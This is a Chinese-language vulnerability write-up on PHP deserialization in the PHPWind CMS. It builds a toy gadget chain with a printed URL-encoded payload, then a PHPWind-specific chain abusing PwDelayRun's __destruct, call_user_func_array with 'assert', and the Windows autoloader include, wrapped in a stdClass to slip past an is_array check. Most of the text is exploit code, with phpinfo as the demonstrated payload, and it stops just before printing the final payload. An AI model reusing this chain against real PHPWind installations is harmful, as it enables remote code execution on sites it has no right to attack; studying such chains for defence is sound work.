PHP wind反序列化分析
PHP WIND 是很久之前一款優秀的cms
PHP反序列化 是一種不斷利用php方法 最終調用到危險函數 從而getshell的方法
主要通過各類魔術方法 從而調用到危險函數
我們先來分析一個簡單的鏈條
反序列化小例
class Woniu {
private $a;
function __construct() {
$this->a = new Test();
}
function __destruct() {
$this->a->hello();
}
}
class Test {
function hello() {
echo "Hello World.";
}
}
class Vul {
protected $data;
function hello() {
@eval($this->data);
}
}
这条链触发的源一定是__wakeup() 而终点一定是通过vul类的hello方法来执行恶意代码:
只需要构造简单链:
class Woniu {
private $a;
function __construct() {
$this->a = new Vul();
}
}
class Vul{
var $data='phpinfo();';
}
$ans=new Woniu();
echo urlencode(serialize($ans));
得到值O%3A5%3A"Woniu"%3A1%3A%7Bs%3A8%3A"%00Woniu%00a"%3BO%3A3%3A"Vul"%3A1%3A%7Bs%3A7%3A"%00%2A%00data"%3Bs%3A10%3A"phpinfo%28%29%3B"%3B%7D%7D
传入后
说明可以getshell
通过重构类 来达到执行恶意代码的目的
在phpwind中就存在这样的问题
phpwind源码分析
入手点当然是魔术方法
经寻找 存在以下类有危险函数以及魔术方法
class PwDelayRun {
private static $instance = null;
private $_callback = array();
private $_args = array();
private function __construct() {
}
public function __destruct() {
foreach ($this->_callback as $key => $value) {
call_user_func_array($value, $this->_args[$key]);
}
}
}
显然 该链较为简单 通过call_user_func_array()函数构造shell
但是在代码运行时 实际上并没有加载该类PwDelayRun
此时就需要对任意php文件进行包含
通过寻找找到函数:
/**
* 初始化框架
*/
public static function init() {
self::$isDebug = WIND_DEBUG;
function_exists('date_default_timezone_set') && date_default_timezone_set('Etc/GMT+0');
self::register(WIND_PATH, 'WIND', true);
if (!self::$_isAutoLoad) return;
if (function_exists('spl_autoload_register'))
spl_autoload_register('Wind::autoLoad');
else
self::$_isAutoLoad = false;
self::_loadBaseLib();
}
# 其中spl_autoload_register函数将wind中的autoload函数进行了自动注册
public static function autoLoad($className, $path = '') {
if ($path)
include $path . '.' . self::$_extensions;
elseif (isset(self::$_classes[$className])) {
include self::$_classes[$className] . '.' . self::$_extensions;
} else
include $className . '.' . self::$_extensions;
}
#而autoload函数通过include对类进行了加载而很巧的是php命名空间允许\的出现
#于是构造利用链:(注意 由于\只在windows中可以作为路径使用 在linux中这一漏洞并不适用)
namespace src\library\utility
{
class PwDelayRun{
}
}
# 先对类进行加载
namespace {
class PwDelayRun{
private $_callback;
private $_args;
function __construct()
{
$this->_callback = [
'assert'
];
$this->_args = [
["phpinfo();exit;"]
];
}
}
# 进行对恶意函数的构造 然后序列化
但由于该代码对数组进行了判断 没能自动触发__destruct方法
public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);
$var = unserialize($this->getInput('var'));
if (is_array($var)) {
$this->setOutput($var, 'condition');
}
# 如果是数组 将输出定向到了output中可以使用对象模拟数组
$obj = new stdClass();
$obj->a = new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
}
最终得到payload